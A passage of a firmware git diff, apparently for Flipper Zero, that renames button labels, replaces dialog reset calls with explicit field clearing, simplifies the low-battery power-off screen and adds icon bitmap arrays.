--- a/applications/gpio/scenes/gpio_scene_start.c +++ b/applications/gpio/scenes/gpio_scene_start.c @@ -15,8 +15,8 @@ enum GpioOtg { }; const char* const gpio_otg_text[GpioOtgSettingsNum] = { - "OFF", - "ON", + "Off", + "On", }; static void gpio_scene_start_var_list_enter_callback(void* context, uint32_t index) { diff --git a/applications/ibutton/scenes/ibutton_scene_read_crc_error.c b/applications/ibutton/scenes/ibutton_scene_read_crc_error.c index 28d59d2d0..4df96d641 100644 --- a/applications/ibutton/scenes/ibutton_scene_read_crc_error.c +++ b/applications/ibutton/scenes/ibutton_scene_read_crc_error.c @@ -61,7 +61,11 @@ void ibutton_scene_read_crc_error_on_exit(void* context) { ibutton_text_store_clear(ibutton); - dialog_ex_reset(dialog_ex); + dialog_ex_set_header(dialog_ex, NULL, 0, 0, AlignCenter, AlignCenter); + dialog_ex_set_text(dialog_ex, NULL, 0, 0, AlignCenter, AlignTop); + dialog_ex_set_left_button_text(dialog_ex, NULL); + dialog_ex_set_result_callback(dialog_ex, NULL); + dialog_ex_set_context(dialog_ex, NULL); ibutton_notification_message(ibutton, iButtonNotificationMessageRedOff); } diff --git a/applications/ibutton/scenes/ibutton_scene_read_not_key_error.c b/applications/ibutton/scenes/ibutton_scene_read_not_key_error.c index 45fbefe8b..76f14daed 100644 --- a/applications/ibutton/scenes/ibutton_scene_read_not_key_error.c +++ b/applications/ibutton/scenes/ibutton_scene_read_not_key_error.c @@ -62,7 +62,11 @@ void ibutton_scene_read_not_key_error_on_exit(void* context) { ibutton_text_store_clear(ibutton); - dialog_ex_reset(dialog_ex); + dialog_ex_set_header(dialog_ex, NULL, 0, 0, AlignCenter, AlignCenter); + dialog_ex_set_text(dialog_ex, NULL, 0, 0, AlignCenter, AlignTop); + dialog_ex_set_left_button_text(dialog_ex, NULL); + dialog_ex_set_result_callback(dialog_ex, NULL); + dialog_ex_set_context(dialog_ex, NULL); ibutton_notification_message(ibutton, iButtonNotificationMessageRedOff); } diff --git a/applications/ibutton/scenes/ibutton_scene_read_success.c b/applications/ibutton/scenes/ibutton_scene_read_success.c index 1c2bcdd29..c3a134787 100644 --- a/applications/ibutton/scenes/ibutton_scene_read_success.c +++ b/applications/ibutton/scenes/ibutton_scene_read_success.c @@ -76,7 +76,12 @@ void ibutton_scene_read_success_on_exit(void* context) { ibutton_text_store_clear(ibutton); - dialog_ex_reset(dialog_ex); + dialog_ex_set_text(dialog_ex, NULL, 0, 0, AlignCenter, AlignTop); + dialog_ex_set_left_button_text(dialog_ex, NULL); + dialog_ex_set_right_button_text(dialog_ex, NULL); + dialog_ex_set_result_callback(dialog_ex, NULL); + dialog_ex_set_context(dialog_ex, NULL); + dialog_ex_set_icon(dialog_ex, 0, 0, NULL); ibutton_notification_message(ibutton, iButtonNotificationMessageGreenOff); } diff --git a/applications/infrared/view/infrared_progress_view.c b/applications/infrared/view/infrared_progress_view.c index cd2a07543..c9075147b 100644 --- a/applications/infrared/view/infrared_progress_view.c +++ b/applications/infrared/view/infrared_progress_view.c @@ -59,7 +59,7 @@ static void infrared_progress_view_draw_callback(Canvas* canvas, void* _model) { elements_multiline_text_aligned( canvas, x + 33, y + 37, AlignCenter, AlignCenter, percents_string); - canvas_draw_icon(canvas, x + 14, y + height - 14, &I_Pin_back_arrow_10x8); + canvas_draw_icon(canvas, x + 11, y + height - 15, &I_Back_15x10); canvas_draw_str(canvas, x + 30, y + height - 6, "= stop"); } diff --git a/applications/power/power_service/power.c b/applications/power/power_service/power.c index 1315809e9..ac1856e75 100644 --- a/applications/power/power_service/power.c +++ b/applications/power/power_service/power.c @@ -168,24 +168,10 @@ static void power_check_low_battery(Power* power) { } // If battery low, update view and switch off power after timeout if(power->battery_low) { - PowerOffResponse response = power_off_get_response(power->power_off); - if(response == PowerOffResponseDefault) { - if(power->power_off_timeout) { - power_off_set_time_left(power->power_off, power->power_off_timeout--); - } else { - power_off(power); - } - } else if(response == PowerOffResponseOk) { + if(power->power_off_timeout) { + power_off_set_time_left(power->power_off, power->power_off_timeout--); + } else { power_off(power); - } else if(response == PowerOffResponseHide) { - view_dispatcher_switch_to_view(power->view_dispatcher, VIEW_NONE); - if(power->power_off_timeout) { - power_off_set_time_left(power->power_off, power->power_off_timeout--); - } else { - power_off(power); - } - } else if(response == PowerOffResponseCancel) { - view_dispatcher_switch_to_view(power->view_dispatcher, VIEW_NONE); } } } diff --git a/applications/power/power_service/views/power_off.c b/applications/power/power_service/views/power_off.c old mode 100644 new mode 100755 index 398ebe4ab..46344b9bf --- a/applications/power/power_service/views/power_off.c +++ b/applications/power/power_service/views/power_off.c @@ -7,7 +7,6 @@ struct PowerOff { }; typedef struct { - PowerOffResponse response; uint32_t time_left_sec; } PowerOffModel; @@ -22,54 +21,18 @@ static void power_off_draw_callback(Canvas* canvas, void* _model) { canvas_draw_icon(canvas, 0, 18, &I_BatteryBody_52x28); canvas_draw_icon(canvas, 16, 25, &I_FaceNopower_29x14); elements_bubble(canvas, 54, 17, 70, 30); - canvas_set_font(canvas, FontSecondary); - if(model->response == PowerOffResponseDefault) { - snprintf(buff, sizeof(buff), "Charge me!\nOff in %lds!", model->time_left_sec); - elements_multiline_text_aligned(canvas, 70, 23, AlignLeft, AlignTop, buff); - - elements_button_left(canvas, "Cancel"); - elements_button_center(canvas, "OK"); - elements_button_right(canvas, "Hide"); - } else { - snprintf(buff, sizeof(buff), "Charge me!\nDont't forget!"); - elements_multiline_text_aligned(canvas, 70, 23, AlignLeft, AlignTop, buff); - - canvas_draw_str_aligned(canvas, 64, 60, AlignCenter, AlignBottom, "Hold a second..."); - } -} - -static bool power_off_input_callback(InputEvent* event, void* context) { - PowerOff* power_off = context; - - bool consumed = false; - PowerOffModel* model = view_get_model(power_off->view); - if(model->response == PowerOffResponseDefault && event->type == InputTypeShort) { - if(event->key == InputKeyOk) { - model->response = PowerOffResponseOk; - consumed = true; - } else if(event->key == InputKeyLeft) { - model->response = PowerOffResponseCancel; - consumed = true; - } else if(event->key == InputKeyRight) { - model->response = PowerOffResponseHide; - consumed = true; - } - } - view_commit_model(power_off->view, consumed); - - return true; + elements_multiline_text_aligned( + canvas, 70, 23, AlignLeft, AlignTop, "Connect me\n to charger."); + snprintf(buff, sizeof(buff), "Poweroff in %lds.", model->time_left_sec); + canvas_draw_str_aligned(canvas, 64, 60, AlignCenter, AlignBottom, buff); } PowerOff* power_off_alloc() { PowerOff* power_off = malloc(sizeof(PowerOff)); - power_off->view = view_alloc(); view_allocate_model(power_off->view, ViewModelTypeLocking, sizeof(PowerOffModel)); - view_set_context(power_off->view, power_off); view_set_draw_callback(power_off->view, power_off_draw_callback); - view_set_input_callback(power_off->view, power_off_input_callback); - return power_off; } @@ -92,14 +55,3 @@ void power_off_set_time_left(PowerOff* power_off, uint8_t time_left) { return true; }); } - -PowerOffResponse power_off_get_response(PowerOff* power_off) { - furi_assert(power_off); - PowerOffResponse response; - with_view_model( - power_off->view, (PowerOffModel * model) { - response = model->response; - return false; - }); - return response; -} diff --git a/applications/power/power_service/views/power_off.h b/applications/power/power_service/views/power_off.h index 5137c2e99..2e2e91f72 100644 --- a/applications/power/power_service/views/power_off.h +++ b/applications/power/power_service/views/power_off.h @@ -2,13 +2,6 @@ typedef struct PowerOff PowerOff; -typedef enum { - PowerOffResponseDefault, - PowerOffResponseOk, - PowerOffResponseCancel, - PowerOffResponseHide, -} PowerOffResponse; - #include PowerOff* power_off_alloc(); @@ -18,5 +11,3 @@ void power_off_free(PowerOff* power_off); View* power_off_get_view(PowerOff* power_off); void power_off_set_time_left(PowerOff* power_off, uint8_t time_left); - -PowerOffResponse power_off_get_response(PowerOff* power_off); diff --git a/applications/storage_settings/scenes/storage_settings_scene_benchmark.c b/applications/storage_settings/scenes/storage_settings_scene_benchmark.c index 45fbce8ff..e7cfd826a 100644 --- a/applications/storage_settings/scenes/storage_settings_scene_benchmark.c +++ b/applications/storage_settings/scenes/storage_settings_scene_benchmark.c @@ -151,7 +151,13 @@ void storage_settings_scene_benchmark_on_exit(void* context) { StorageSettings* app = context; DialogEx* dialog_ex = app->dialog_ex; - dialog_ex_reset(dialog_ex); + dialog_ex_set_header(dialog_ex, NULL, 0, 0, AlignCenter, AlignCenter); + dialog_ex_set_text(dialog_ex, NULL, 0, 0, AlignCenter, AlignTop); + dialog_ex_set_icon(dialog_ex, 0, 0, NULL); + dialog_ex_set_left_button_text(dialog_ex, NULL); + dialog_ex_set_right_button_text(dialog_ex, NULL); + dialog_ex_set_result_callback(dialog_ex, NULL); + dialog_ex_set_context(dialog_ex, NULL); string_reset(app->text_string); } diff --git a/applications/storage_settings/scenes/storage_settings_scene_unmount_confirm.c b/applications/storage_settings/scenes/storage_settings_scene_eject_confirm.c similarity index 82% rename from applications/storage_settings/scenes/storage_settings_scene_unmount_confirm.c rename to applications/storage_settings/scenes/storage_settings_scene_eject_confirm.c index f94993220..8fc6c8714 100644 --- a/applications/storage_settings/scenes/storage_settings_scene_unmount_confirm.c +++ b/applications/storage_settings/scenes/storage_settings_scene_eject_confirm.c @@ -11,9 +11,9 @@ void storage_settings_scene_unmount_confirm_on_enter(void* context) { StorageSettings* app = context; FS_Error sd_status = storage_sd_status(app->fs_api); DialogEx* dialog_ex = app->dialog_ex; + dialog_ex_set_left_button_text(dialog_ex, "Back"); if(sd_status == FSE_NOT_READY) { - dialog_ex_set_center_button_text(dialog_ex, "OK"); dialog_ex_set_header(dialog_ex, "SD card not mounted", 64, 10, AlignCenter, AlignCenter); dialog_ex_set_text( dialog_ex, @@ -23,7 +23,6 @@ void storage_settings_scene_unmount_confirm_on_enter(void* context) { AlignCenter, AlignCenter); } else { - dialog_ex_set_left_button_text(dialog_ex, "Cancel"); dialog_ex_set_right_button_text(dialog_ex, "Unmount"); dialog_ex_set_header(dialog_ex, "Unmount SD card?", 64, 10, AlignCenter, AlignCenter); dialog_ex_set_text( @@ -43,9 +42,6 @@ bool storage_settings_scene_unmount_confirm_on_event(void* context, SceneManager if(event.type == SceneManagerEventTypeCustom) { switch(event.event) { - case DialogExResultCenter: - consumed = scene_manager_previous_scene(app->scene_manager); - break; case DialogExResultLeft: consumed = scene_manager_previous_scene(app->scene_manager); break; @@ -54,10 +50,7 @@ bool storage_settings_scene_unmount_confirm_on_event(void* context, SceneManager consumed = true; break; } - } else if(event.type == SceneManagerEventTypeBack) { - consumed = true; } - return consumed; } @@ -65,5 +58,11 @@ void storage_settings_scene_unmount_confirm_on_exit(void* context) { StorageSettings* app = context; DialogEx* dialog_ex = app->dialog_ex; - dialog_ex_reset(dialog_ex); + dialog_ex_set_header(dialog_ex, NULL, 0, 0, AlignCenter, AlignCenter); + dialog_ex_set_text(dialog_ex, NULL, 0, 0, AlignCenter, AlignTop); + dialog_ex_set_icon(dialog_ex, 0, 0, NULL); + dialog_ex_set_left_button_text(dialog_ex, NULL); + dialog_ex_set_right_button_text(dialog_ex, NULL); + dialog_ex_set_result_callback(dialog_ex, NULL); + dialog_ex_set_context(dialog_ex, NULL); } diff --git a/applications/storage_settings/scenes/storage_settings_scene_unmounted.c b/applications/storage_settings/scenes/storage_settings_scene_ejected.c similarity index 76% rename from applications/storage_settings/scenes/storage_settings_scene_unmounted.c rename to applications/storage_settings/scenes/storage_settings_scene_ejected.c index ddd70d055..08208f871 100755 --- a/applications/storage_settings/scenes/storage_settings_scene_unmounted.c +++ b/applications/storage_settings/scenes/storage_settings_scene_ejected.c @@ -12,7 +12,7 @@ void storage_settings_scene_unmounted_on_enter(void* context) { FS_Error error = storage_sd_unmount(app->fs_api); DialogEx* dialog_ex = app->dialog_ex; - dialog_ex_set_center_button_text(dialog_ex, "OK"); + dialog_ex_set_left_button_text(dialog_ex, "Back"); if(error == FSE_OK) { dialog_ex_set_header(dialog_ex, "SD card unmounted", 64, 10, AlignCenter, AlignCenter); @@ -39,13 +39,14 @@ bool storage_settings_scene_unmounted_on_event(void* context, SceneManagerEvent if(event.type == SceneManagerEventTypeCustom) { switch(event.event) { - case DialogExResultCenter: + case DialogExResultLeft: consumed = scene_manager_search_and_switch_to_previous_scene( app->scene_manager, StorageSettingsStart); break; } } else if(event.type == SceneManagerEventTypeBack) { - consumed = true; + consumed = scene_manager_search_and_switch_to_previous_scene( + app->scene_manager, StorageSettingsStart); } return consumed; @@ -55,5 +56,11 @@ void storage_settings_scene_unmounted_on_exit(void* context) { StorageSettings* app = context; DialogEx* dialog_ex = app->dialog_ex; - dialog_ex_reset(dialog_ex); + dialog_ex_set_header(dialog_ex, NULL, 0, 0, AlignCenter, AlignCenter); + dialog_ex_set_text(dialog_ex, NULL, 0, 0, AlignCenter, AlignTop); + dialog_ex_set_icon(dialog_ex, 0, 0, NULL); + dialog_ex_set_left_button_text(dialog_ex, NULL); + dialog_ex_set_right_button_text(dialog_ex, NULL); + dialog_ex_set_result_callback(dialog_ex, NULL); + dialog_ex_set_context(dialog_ex, NULL); } diff --git a/applications/storage_settings/scenes/storage_settings_scene_factory_reset.c b/applications/storage_settings/scenes/storage_settings_scene_factory_reset.c index 84119422a..78a8363aa 100644 --- a/applications/storage_settings/scenes/storage_settings_scene_factory_reset.c +++ b/applications/storage_settings/scenes/storage_settings_scene_factory_reset.c @@ -18,7 +18,7 @@ void storage_settings_scene_factory_reset_on_enter(void* context) { dialog_ex_set_context(dialog_ex, app); dialog_ex_set_result_callback(dialog_ex, storage_settings_scene_factory_reset_dialog_callback); - dialog_ex_set_left_button_text(dialog_ex, "Cancel"); + dialog_ex_set_left_button_text(dialog_ex, "Back"); dialog_ex_set_right_button_text(dialog_ex, "Erase"); dialog_ex_set_header(dialog_ex, "Confirm Factory Reset", 64, 10, AlignCenter, AlignCenter); @@ -70,10 +70,7 @@ bool storage_settings_scene_factory_reset_on_event(void* context, SceneManagerEv consumed = true; break; } - } else if(event.type == SceneManagerEventTypeBack) { - consumed = true; } - return consumed; } @@ -81,7 +78,13 @@ void storage_settings_scene_factory_reset_on_exit(void* context) { StorageSettings* app = context; DialogEx* dialog_ex = app->dialog_ex; - dialog_ex_reset(dialog_ex); + dialog_ex_set_header(dialog_ex, NULL, 0, 0, AlignCenter, AlignCenter); + dialog_ex_set_text(dialog_ex, NULL, 0, 0, AlignCenter, AlignTop); + dialog_ex_set_icon(dialog_ex, 0, 0, NULL); + dialog_ex_set_left_button_text(dialog_ex, NULL); + dialog_ex_set_right_button_text(dialog_ex, NULL); + dialog_ex_set_result_callback(dialog_ex, NULL); + dialog_ex_set_context(dialog_ex, NULL); string_reset(app->text_string); } diff --git a/applications/storage_settings/scenes/storage_settings_scene_format_confirm.c b/applications/storage_settings/scenes/storage_settings_scene_format_confirm.c index db040d6eb..a80215bc8 100644 --- a/applications/storage_settings/scenes/storage_settings_scene_format_confirm.c +++ b/applications/storage_settings/scenes/storage_settings_scene_format_confirm.c @@ -57,5 +57,11 @@ void storage_settings_scene_format_confirm_on_exit(void* context) { StorageSettings* app = context; DialogEx* dialog_ex = app->dialog_ex; - dialog_ex_reset(dialog_ex); + dialog_ex_set_header(dialog_ex, NULL, 0, 0, AlignCenter, AlignCenter); + dialog_ex_set_text(dialog_ex, NULL, 0, 0, AlignCenter, AlignTop); + dialog_ex_set_icon(dialog_ex, 0, 0, NULL); + dialog_ex_set_left_button_text(dialog_ex, NULL); + dialog_ex_set_right_button_text(dialog_ex, NULL); + dialog_ex_set_result_callback(dialog_ex, NULL); + dialog_ex_set_context(dialog_ex, NULL); } diff --git a/applications/storage_settings/scenes/storage_settings_scene_formatting.c b/applications/storage_settings/scenes/storage_settings_scene_formatting.c index 2cbf97eea..143bda95a 100755 --- a/applications/storage_settings/scenes/storage_settings_scene_formatting.c +++ b/applications/storage_settings/scenes/storage_settings_scene_formatting.c @@ -39,17 +39,18 @@ void storage_settings_scene_formatting_on_enter(void* context) { notification_message(app->notification, &sequence_reset_formatting_leds); notification_message(app->notification, &sequence_blink_green_100); - dialog_ex_set_context(dialog_ex, app); - dialog_ex_set_result_callback(dialog_ex, storage_settings_scene_formatting_dialog_callback); - if(error != FSE_OK) { dialog_ex_set_header(dialog_ex, "Cannot format SD Card", 64, 10, AlignCenter, AlignCenter); dialog_ex_set_text( dialog_ex, storage_error_get_desc(error), 64, 32, AlignCenter, AlignCenter); } else { - dialog_ex_set_header(dialog_ex, "Format complete!", 64, 32, AlignCenter, AlignCenter); + dialog_ex_set_header(dialog_ex, "SD card formatted", 64, 10, AlignCenter, AlignCenter); + dialog_ex_set_text(dialog_ex, "Press back to return", 64, 32, AlignCenter, AlignCenter); } - dialog_ex_set_center_button_text(dialog_ex, "OK"); + + dialog_ex_set_context(dialog_ex, app); + dialog_ex_set_result_callback(dialog_ex, storage_settings_scene_formatting_dialog_callback); + dialog_ex_set_left_button_text(dialog_ex, "Back"); } bool storage_settings_scene_formatting_on_event(void* context, SceneManagerEvent event) { @@ -58,13 +59,14 @@ bool storage_settings_scene_formatting_on_event(void* context, SceneManagerEvent if(event.type == SceneManagerEventTypeCustom) { switch(event.event) { - case DialogExResultCenter: + case DialogExResultLeft: consumed = scene_manager_search_and_switch_to_previous_scene( app->scene_manager, StorageSettingsStart); break; } } else if(event.type == SceneManagerEventTypeBack) { - consumed = true; + consumed = scene_manager_search_and_switch_to_previous_scene( + app->scene_manager, StorageSettingsStart); } return consumed; @@ -74,5 +76,11 @@ void storage_settings_scene_formatting_on_exit(void* context) { StorageSettings* app = context; DialogEx* dialog_ex = app->dialog_ex; - dialog_ex_reset(dialog_ex); + dialog_ex_set_header(dialog_ex, NULL, 0, 0, AlignCenter, AlignCenter); + dialog_ex_set_text(dialog_ex, NULL, 0, 0, AlignCenter, AlignTop); + dialog_ex_set_icon(dialog_ex, 0, 0, NULL); + dialog_ex_set_left_button_text(dialog_ex, NULL); + dialog_ex_set_right_button_text(dialog_ex, NULL); + dialog_ex_set_result_callback(dialog_ex, NULL); + dialog_ex_set_context(dialog_ex, NULL); } diff --git a/applications/storage_settings/scenes/storage_settings_scene_internal_info.c b/applications/storage_settings/scenes/storage_settings_scene_internal_info.c index 53f791bd8..971695b6f 100644 --- a/applications/storage_settings/scenes/storage_settings_scene_internal_info.c +++ b/applications/storage_settings/scenes/storage_settings_scene_internal_info.c @@ -18,6 +18,7 @@ void storage_settings_scene_internal_info_on_enter(void* context) { dialog_ex_set_context(dialog_ex, app); dialog_ex_set_result_callback(dialog_ex, storage_settings_scene_internal_info_dialog_callback); + dialog_ex_set_left_button_text(dialog_ex, "Back"); if(error != FSE_OK) { dialog_ex_set_header( dialog_ex, "Internal storage error", 64, 10, AlignCenter, AlignCenter); @@ -55,7 +56,13 @@ void storage_settings_scene_internal_info_on_exit(void* context) { StorageSettings* app = context; DialogEx* dialog_ex = app->dialog_ex; - dialog_ex_reset(dialog_ex); + dialog_ex_set_header(dialog_ex, NULL, 0, 0, AlignCenter, AlignCenter); + dialog_ex_set_text(dialog_ex, NULL, 0, 0, AlignCenter, AlignTop); + dialog_ex_set_icon(dialog_ex, 0, 0, NULL); + dialog_ex_set_left_button_text(dialog_ex, NULL); + dialog_ex_set_right_button_text(dialog_ex, NULL); + dialog_ex_set_result_callback(dialog_ex, NULL); + dialog_ex_set_context(dialog_ex, NULL); string_reset(app->text_string); } diff --git a/applications/storage_settings/scenes/storage_settings_scene_sd_info.c b/applications/storage_settings/scenes/storage_settings_scene_sd_info.c index b64caeb2e..297041a58 100644 --- a/applications/storage_settings/scenes/storage_settings_scene_sd_info.c +++ b/applications/storage_settings/scenes/storage_settings_scene_sd_info.c @@ -15,6 +15,7 @@ void storage_settings_scene_sd_info_on_enter(void* context) { dialog_ex_set_context(dialog_ex, app); dialog_ex_set_result_callback(dialog_ex, storage_settings_scene_sd_info_dialog_callback); + dialog_ex_set_left_button_text(dialog_ex, "Back"); if(sd_status != FSE_OK) { dialog_ex_set_header(dialog_ex, "SD card not mounted", 64, 10, AlignCenter, AlignCenter); dialog_ex_set_text( @@ -61,7 +62,13 @@ void storage_settings_scene_sd_info_on_exit(void* context) { StorageSettings* app = context; DialogEx* dialog_ex = app->dialog_ex; - dialog_ex_reset(dialog_ex); + dialog_ex_set_header(dialog_ex, NULL, 0, 0, AlignCenter, AlignCenter); + dialog_ex_set_text(dialog_ex, NULL, 0, 0, AlignCenter, AlignTop); + dialog_ex_set_icon(dialog_ex, 0, 0, NULL); + dialog_ex_set_left_button_text(dialog_ex, NULL); + dialog_ex_set_right_button_text(dialog_ex, NULL); + dialog_ex_set_result_callback(dialog_ex, NULL); + dialog_ex_set_context(dialog_ex, NULL); string_reset(app->text_string); } diff --git a/applications/subghz/scenes/subghz_scene_show_error.c b/applications/subghz/scenes/subghz_scene_show_error.c index 5632a859e..2998bf8e5 100644 --- a/applications/subghz/scenes/subghz_scene_show_error.c +++ b/applications/subghz/scenes/subghz_scene_show_error.c @@ -37,7 +37,7 @@ void subghz_scene_show_error_on_enter(void* context) { if(scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneShowError) == SubGhzCustomEventManagerSet) { widget_add_button_element( - subghz->widget, GuiButtonTypeRight, "OK", subghz_scene_show_error_callback, subghz); + subghz->widget, GuiButtonTypeRight, "Ok", subghz_scene_show_error_callback, subghz); } else { notification_message(subghz->notifications, &subghs_sequence_sd_error); } diff --git a/applications/system/system_settings.c b/applications/system/system_settings.c index 7bbcdd7bb..97017c8df 100644 --- a/applications/system/system_settings.c +++ b/applications/system/system_settings.c @@ -30,8 +30,8 @@ static void log_level_changed(VariableItem* item) { } const char* const debug_text[] = { - "OFF", - "ON", + "Disable", + "Enable", }; static void debug_changed(VariableItem* item) { diff --git a/assets/compiled/assets_icons.c b/assets/compiled/assets_icons.c index b5ad3c560..6e05e9d89 100644 --- a/assets/compiled/assets_icons.c +++ b/assets/compiled/assets_icons.c @@ -196,6 +196,9 @@ const uint8_t* const _I_DolphinFirstStart8_56x51[] = {_I_DolphinFirstStart8_56x5 const uint8_t _I_DolphinOkay_41x43_0[] = {0x01,0x00,0xa0,0x00,0x00,0x0f,0x82,0x3e,0x05,0x38,0xf7,0x80,0x08,0x58,0x08,0x0c,0x02,0x0e,0x05,0x1b,0x00,0x08,0x63,0x00,0x21,0x88,0x00,0x86,0x40,0x02,0x18,0x40,0x08,0x68,0x00,0x21,0x82,0x06,0x88,0x0a,0xf0,0x21,0x39,0x09,0x84,0x02,0x20,0x57,0x09,0x98,0x15,0x67,0xc0,0x54,0xbe,0x81,0x4f,0x01,0xfe,0x02,0x9d,0x03,0xc4,0x20,0x10,0x29,0x7c,0x80,0xa9,0xfe,0x02,0xac,0x14,0x0a,0x77,0xc8,0x58,0x8c,0xf0,0x11,0x51,0x79,0xff,0x61,0x44,0x93,0x81,0x02,0xc4,0x9e,0x60,0xb2,0xf0,0xa0,0x46,0x0c,0x17,0x14,0x99,0x1a,0x07,0x80,0x59,0x49,0x82,0x21,0xc0,0xa4,0x82,0x24,0xb9,0x20,0x88,0x1c,0x47,0xc2,0x07,0x11,0x54,0xa0,0x60,0x53,0xb8,0x0a,0x4b,0xf3,0x03,0x87,0x81,0x4a,0x0d,0xfc,0x1a,0x98,0x68,0xb8,0x01,0x51,0x13,0x15,0xe0,0x82,0x7f,0x8d,0x78,0x38,0xbf,0xff,0xfa,0xb8,0x60,0xbf,0x1b,0xf9,0x50,0x14,0xea,0xe7,0x02,0x02,0x8e,0xac,0x94,0x40,}; const uint8_t* const _I_DolphinOkay_41x43[] = {_I_DolphinOkay_41x43_0}; +const uint8_t _I_Flipper_young_80x60_0[] = {0x01,0x00,0xa3,0x01,0x00,0x1e,0x03,0xff,0xff,0x87,0x82,0x57,0xf1,0x83,0x90,0xde,0x01,0x2b,0x0e,0x83,0x70,0xfb,0x10,0x10,0x41,0xf8,0x27,0x70,0xcc,0x34,0xc6,0x0e,0x09,0x3e,0x04,0x86,0x21,0x0c,0x90,0xc3,0x03,0xa9,0xe7,0xb0,0x46,0x2c,0x51,0x40,0x4a,0x63,0x38,0x31,0x0a,0x34,0x90,0x12,0x91,0x8e,0x3c,0xff,0x89,0x4c,0x04,0xa4,0x43,0xfd,0xf3,0xc3,0xf2,0x01,0x29,0xe0,0x2b,0x8e,0x72,0xa0,0x46,0x4b,0xe0,0x30,0xba,0x10,0x22,0xca,0x1c,0x0b,0x26,0x09,0x3c,0x04,0x0c,0x08,0x59,0xc8,0x21,0x64,0xc4,0x47,0x98,0x82,0x81,0x0a,0xe0,0x21,0x39,0x04,0x34,0x88,0x60,0x93,0xa0,0x45,0x4b,0x06,0xa3,0x40,0x48,0xfc,0x20,0xf0,0x82,0xa2,0x4d,0x60,0x11,0xe9,0xc2,0x19,0x64,0xd0,0x08,0x1f,0x80,0x7e,0x60,0x01,0x92,0x60,0x20,0x38,0x05,0x21,0x7c,0x3f,0xf0,0x1a,0xe6,0x00,0xe6,0x21,0x32,0x1a,0x0c,0x0e,0x91,0x80,0x8f,0xc0,0x06,0x25,0xcc,0xbf,0xc1,0xaa,0x10,0x0b,0xfc,0x02,0x60,0x2e,0x2c,0x04,0x32,0xc1,0x00,0xff,0x40,0x68,0x00,0x91,0x89,0xc0,0x21,0x20,0x51,0xfe,0x41,0xf0,0x00,0x91,0xc4,0xcf,0xe2,0x40,0x51,0xfc,0x0c,0x86,0x07,0x80,0xe2,0xdf,0xda,0x25,0xf0,0x9f,0xc0,0x21,0x98,0x0f,0x27,0xfd,0xa2,0x5e,0x01,0x90,0xc4,0x30,0x1e,0x2f,0xfc,0xa1,0x3a,0x45,0x41,0xb0,0x60,0x3e,0x5e,0x79,0x4a,0x10,0xbf,0xe2,0x61,0xc0,0x82,0x52,0x01,0xff,0x36,0x8e,0x3b,0xe5,0xff,0x04,0x9f,0xf8,0x78,0x3b,0x8f,0x97,0xf8,0x12,0x7f,0xc3,0x78,0xf8,0x3e,0x5f,0xc0,0x49,0xfe,0x08,0xc2,0x17,0x1f,0xcd,0xa5,0xac,0x5f,0x02,0x30,0xc0,0x30,0x5f,0xfd,0x23,0xbc,0xbc,0x1f,0xf0,0xc1,0x5f,0xaa,0x8e,0x52,0x28,0x10,0x10,0x6f,0x1b,0x28,0x57,0x81,0x66,0x25,0x01,0x80,0x4e,0x28,0x15,0x98,0xad,0xc3,0xfd,0xff,0xff,0x91,0x87,0xc1,0x80,0xd4,0xc2,0xb2,0x03,0xb1,0x5b,0x13,0x34,0x6a,0xf1,0x58,0x84,0x0e,0x1d,0x00,0x23,0x14,0x0f,0x55,0x0a,0x88,0x67,0x0d,0x83,0x7c,0x04,0x8c,0x0a,0xa9,0x15,0x90,0x7c,0x07,0x23,0xf8,0x80,0xc1,0xa0,0xda,0x88,0x54,0x82,0x00,0x2f,0x1f,0xe4,0x3c,0x7a,0x35,0x08,0xab,0x20,0x7f,0x03,0xc1,0x2d,0x96,0x82,0x14,0xce,0x20,0x02,0x04,0xc6,0x00,0x60,0x20,0x01,0x84,0xc4,0x6a,0x21,0x36,0x3b,0x8c,0xf0,0x3c,0xc8,0x02,0x1b,0x88,0x01,0xe1,0x80,0x98,0x2d,0x10,0x01,0xb0,0x05,0xa1,0x00,0x3d,0xf8,0x13,0x17,0x81,0x47,0x80,0x0b,0xc0,0x28,0x8e,0x02,0xa4,0x81,0x2c,0xf0,0x20,0x01,0x00,}; +const uint8_t* const _I_Flipper_young_80x60[] = {_I_Flipper_young_80x60_0}; + const uint8_t _I_ArrowDownEmpty_14x15_0[] = {0x01,0x00,0x17,0x00,0xfc,0x41,0xe1,0x10,0x40,0x0c,0xc3,0xe7,0x90,0x19,0x04,0x0a,0x20,0x08,0x10,0x48,0xc4,0x20,0x52,0x08,0x0f,0x02,0x00,}; const uint8_t* const _I_ArrowDownEmpty_14x15[] = {_I_ArrowDownEmpty_14x15_0}; @@ -208,6 +211,9 @@ const uint8_t* const _I_ArrowUpEmpty_14x15[] = {_I_ArrowUpEmpty_14x15_0}; const uint8_t _I_ArrowUpFilled_14x15_0[] = {0x00,0xC0,0x00,0x20,0x01,0xD0,0x02,0xE8,0x05,0xF4,0x0B,0xFA,0x17,0x61,0x21,0xAF,0x3D,0x68,0x05,0xA8,0x05,0x68,0x05,0xA8,0x05,0xE8,0x05,0x08,0x04,0xF8,0x07,}; const uint8_t* const _I_ArrowUpFilled_14x15[] = {_I_ArrowUpFilled_14x15_0}; +const uint8_t _I_Back_15x10_0[] = {0x00,0x04,0x00,0x06,0x00,0xFF,0x0F,0x06,0x10,0x04,0x20,0x00,0x40,0x00,0x40,0x00,0x20,0x00,0x10,0xFE,0x0F,}; +const uint8_t* const _I_Back_15x10[] = {_I_Back_15x10_0}; + const uint8_t _I_DolphinReadingSuccess_59x63_0[] = 